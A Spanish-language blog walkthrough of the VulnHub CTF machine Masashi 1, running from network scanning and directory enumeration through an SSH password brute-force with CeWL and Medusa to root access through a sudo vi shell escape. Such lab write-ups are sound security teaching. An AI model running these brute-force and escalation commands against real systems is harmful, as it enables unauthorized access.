enes
Hackatua logo

Hackatua

No me odies, odia ese código

author imageHackatua - 02 de abril de 2023

Masashi 1

Walkthrough de la máquina Masashi 1 de Vulnhub

Masashi 1

Link a VulnHub

Obteniendo la IP de la máquina víctima

Lo primero que vamos a hacer es tratar de descubrir en qué IP está la máquina víctima. Para ello vamos a usar nmap indicádole que queremos hacer un ping scan (-sn) para toda la red en la que nos encontramos actualmente. Si no estamos como usuario root es recomendable usar sudo para obtener información adicional de los equipos que se encuentren en la red:

sudo nmap -sn 10.0.0.1/24

Resultado (relevante):

Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-25 11:18 CET

...

MAC Address: 7C:50:79:8E:CA:DD (Intel Corporate)
Nmap scan report for 10.0.0.102
Host is up (0.00056s latency).

...

Nmap nos indica que la IP de la máquina víctima es la siguiente:

  • 10.0.0.102

En caso de que sea una máquina virtual podemos verificarlo comprobando si las direcciones MAC de las tarjetas de red coinciden.

Lo siguiente que vamos a hacer es agregar la IP de la máquina víctima a nuestro /etc/hosts. De esta manera no necesitaremos recordar la IP y podemos usar el nombre que le pongamos. Editamos el fichero /etc/hosts y agregamos la siguiente línea al final del mismo:

10.0.0.102 masashi1.ctf

Ahora si hacemos un ping masashi1.ctf -c 1 deberíamos obtener la siguiente respuesta:

PING masashi1.ctf (10.0.0.102) 56(84) bytes of data.
64 bytes from masashi1.ctf (10.0.0.102): icmp_seq=1 ttl=64 time=0.743 ms

--- masashi1.ctf ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.743/0.743/0.743/0.000 ms

Esto nos confirma que resuelve correctamente el hostname que le hemos asignado.

Escaneo de puertos

Una vez que tenemos la IP de la máquina víctima, lo que vamos a hacer es tratar de detectar los puertos que tiene abiertos. Para ello vamos a lanzar otro escaneo con nmap contra todo el rango de puertos (-p-) usando la plantilla de temporizado más rápida (-T5), filtrando por los puertos abiertos (--open), y deshabilitando la resolución de DNS (-n) y el descubrimiento de hosts (-Pn):

nmap -p- -T5 --open -Pn -n masashi1.ctf

Resultado:

Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-02 09:53 CEST
Nmap scan report for masashi1.ctf (10.0.0.102)
Host is up (0.00011s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 1.14 seconds

De este escaneo obtenemos que los siguientes puertos están abiertos: 22 (SSH) y 80 (HTTP). Sabiendo que estos puertos están abiertos, lo siguiente que vamos a hacer es tratar de detectar qué servicios se están exponiendo y las versiones de los mismos (-sCV):

nmap -p 22,80 -sCV masashi1.ctf

Resultado:

Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-02 09:56 CEST
Nmap scan report for masashi1.ctf (10.0.0.102)
Host is up (0.00043s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 f6e008c533feb245d2d76d0c7d737ba4 (RSA)
|   256 e935bf3ea4a340442f7905f3898505dc (ECDSA)
|_  256 efde3f1d48e30d9637b0ce22ea004cc6 (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.38 (Debian)
| http-robots.txt: 1 disallowed entry
|_/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.57 seconds

Del resultado del escaneo más detallado obtenemos lo siguiente:

  • 22/tcp: SSH - OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
  • 80/tcp: HTTP - Apache httpd 2.4.38 ((Debian))

Analizando el servicio HTTP (80/TCP)

Ya que tenemos expuesto un servicio HTTP por el puerto 80, lo que vamos a hacer es tratar de ver qué se está exponiendo en ese puerto accediendo a la url http://masashi1.ctf en el navegador.

Al acceder, vemos la página por defecto de Apache, lo que confima lo que ya nos había indicado nmap. Como en http://masashi1.ctf no encontramos nada interesante, vamos a hacer un ataque de fuerza bruta para descubrir más rutas y archivos.

Para relizar este ataque vamos a usar Gobuster indicándole que queremos listar directorios (dir) contra la IP de la máquina víctima (-u), usando extensiones adicionales (-x), usando un diccionario orientado a listado de directorios (-w), y limitando el número de hilos a 3 (-t):

gobuster dir -u http://masashi1.ctf -x html,txt,php -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 3

Resultado:

===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://masashi1.ctf
[+] Method:                  GET
[+] Threads:                 3
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              txt,php,html
[+] Timeout:                 10s
===============================================================
2023/04/02 10:53:41 Starting gobuster in directory enumeration mode
===============================================================
/index.html           (Status: 200) [Size: 10657]
/security.txt         (Status: 200) [Size: 54]
/robots.txt           (Status: 200) [Size: 72]
/server-status        (Status: 403) [Size: 277]

===============================================================
2023/04/02 10:55:09 Finished
===============================================================

Del escaneo obtenemos que existen 3 rutas más que pueden ser interesantes:

  • /security.txt: que puede contener información útil.
  • /robots.txt: que nos puede dar informción de más recursos existentes
  • /server-status: al cual no tenemos acceso

En el fichero /security.txt, nos encontramos con el siguiente mensaje:

If its a bug then let me know on Twitter @lorde_zw :)

Aunque no tenga mucha información, podemo pensar que lorde_zw pueda ser tamibén un usuario del sistema.

Si miramos el /robots.txt vemo el siguiente contenido:

User-agent: *
Disallow: /
	/snmpwalk.txt
	/sshfolder.txt
	/security.txt

Lo que nos indica que pueden existir 2 rutas adiciones /snmpwalk.txt y /sshfolder.txt. Si accedemos, el contenido de los ficheros es el siguiente:

snmpwalk.txt

|  403:
|	    Name: cron
|	    Path: /usr/sbin/cron
|	    Params: -f
|  768:
|	    Name: tftpd
|	    Path: /usr/sbin/tftpd
|	    Params: -- listen — user tftp -- address 0.0.0.0:1337 -- secure /srv/tftp
|  806:
|	    Name: mysqld
|	    Path: /usr/sbin/mysqld
|	    Params: -i 0.0.0.0

sshfolder.txt

sv5@masashi:~/srv/tftp# ls -la
total 20
drwx------  2 sv5 sv5 4096 Oct 15 19:34 .
drwxr-xr-x 27 sv5 sv5 4096 Oct 21 12:37 ..
-rw-------  1 sv5 sv5 2602 Oct 15 19:34 id_rsa
-rw-r--r--  1 sv5 sv5  565 Oct 15 19:34 id_rsa.pub
sv5@masashi:~/srv/tftp#

En estos ficheros nos encontramos varias cosas interesantes. En el primero de ellos, parece que nos está indicando procesos que están ejecutándose en la máquina víctima. Entre esos procesos está el servicio TFTP en el puerto 1337, que es un protocolo similar a FTP pero sobre UDP. Por otro lado, nos encotramos que en el sistema existe un usuario SSH cuyo nombre es sv5, y que en la carpeta compartida por TFTP se están compartiendo un par de claves.

Para tratar de obtenerlas, lo primero que tenemos que hacer es instalar un cliente TFTP, así que instalamos tftp-hpa. Una vez instalado nos conectamos al servidor con tftp masashi1.ctf 1337. Tras conectarnos, hacemos get de los ficheros que nos indicaban: get id_rsa y get id_rsa.pub. Al cerra la conexión y ver el contenido del fichero vemos que realmente no son las claves pública y privada de la máquina víctima. Su contenido es el siguiente:

id_rsa

So if you cant use the key then what else can you use????????? :)

id_rsa.pub

Dude seriously, The key doesnt work here, try the other cewl thing here "/index.html"..... Wink ;) Wink ;)

Comprometiendo la máquina víctima

En los ficheros que supuestamente eran las claves pública y privada nos da una pista, nos indica que usemos CeWL contra /index.html. Esta herramienta nos permite generar un diccionario de claves a través del contenido de una página web.

Ejectumos el comando cewl indicándole una profundiada de 5 (-d), que acepte números al igual que letras (--with-numbers), que escriba el diccionario en cewl.out (-w), y le indicamos la página WEB que queremos usar:

cewl -d 5 --with-numbers -w cewl.out http://masashi1.ctf/index.html

Resultado parcial (ejecutando head cewl.out):

the
Debian
configuration
apache2
conf
this
server
web
default
and

Ahora que ya tenemos un posible nombre de usuario, sv5, y una lista de contraseñas vamos a intentar ejecutar un ataque de fuerza bruta por SSH usando Medusa.

Ejecutamos el comando medusa indicándole el host (-h), el usuario (-u), el diccionario a usar (-P), limitando el número máximo de conexiones concurrentes (-t), y usando el módulo de SSH (-M). El resultado de este comando lo filtramos usando grep:

medusa -h masashi1.ctf -u sv5 -P cewl.out -t 3 -M ssh | grep SUCCESS

Resultado:

ACCOUNT FOUND: [ssh] Host: masashi1.ctf User: sv5 Password: whoistheplug [SUCCESS]

Medusa nos reporta que la contraseña del ususario sv5 es whoistheplug. Si probamos a conectarnos mediante SSH con esas credenciales verificamos que son correctas y que tenemos acceso a la máquina.

Si investigamos la home del usuario sv5 (/home/sv5) no tardamos mucho en encontrar la primera flag (user.txt): Hey buddy :) Well done on that initial foothold ;) ; ....

Escalada de privilegios

Ahora que ya tenemos acceso a la máquina, lo siguiente que tenemos que hacer es tratar de escalar privilegios y ganar acceso como usuario root. Para ello, lo primero que podemos ver es qué permisos de sudo tenemos, así que ejecutamos sudo -l. El resultado es el siguiente:

Matching Defaults entries for sv5 on masashi:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User sv5 may run the following commands on masashi:
    (ALL) NOPASSWD: /usr/bin/vi /tmp/*

El resultado nos indica que podemos usar el comando vi en la carpeta /tmp/ como superusuario sin necesidad de usar contraseña. Si buscamos en GTFOBins si se puede escalar privilegios con vi llegamos a esta página. Si probamos las 2 opciones que nos muestra la opción b nos funciona.

Para ello ejecutamos sudo /usr/bin/vi /tmp/shell y una vez en vi ejecutamos los siguientes comandos:

  • :set shell=/bin/sh
  • :shell

Tras esto ejecutamos el comando id y obtenemos el siguiente resultado:

uid=0(root) gid=0(root) groups=0(root)

Una vez hemos ganado acceso como root podemos ver la segunda flag (/root/root.txt): Quite the pwner huh!!!! :) Well i bet you had fun ;) ;) ...